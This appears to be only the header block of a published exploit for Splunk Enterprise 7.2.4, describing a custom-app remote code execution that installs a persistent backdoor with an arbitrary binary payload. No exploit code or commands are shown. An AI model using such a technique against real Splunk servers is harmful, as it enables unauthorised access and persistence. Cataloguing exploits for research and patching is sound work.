# Exploit Title: Splunk Enterprise 7.2.4 Custom App RCE (persistent backdoor - custom binary payload)
# Date: March 1, 2019
# Exploit Author: Matteo Malvica 
# Original Author: Lee Mazzoleni
# Vendor Homepage: https://www.splunk.com/
# Software Link: https://www.splunk.com/en_us/download/splunk-enterprise.html
# Version: 7.2.4
# Tested on: kali 4.18.0-kali2-amd64
# CVE : n/a

# NOTES: Due to python interoperability issue on CentOS, I have upgraded the exploit to
# support any kind of binary or payload so the exploit does not have to rely on any python libraries
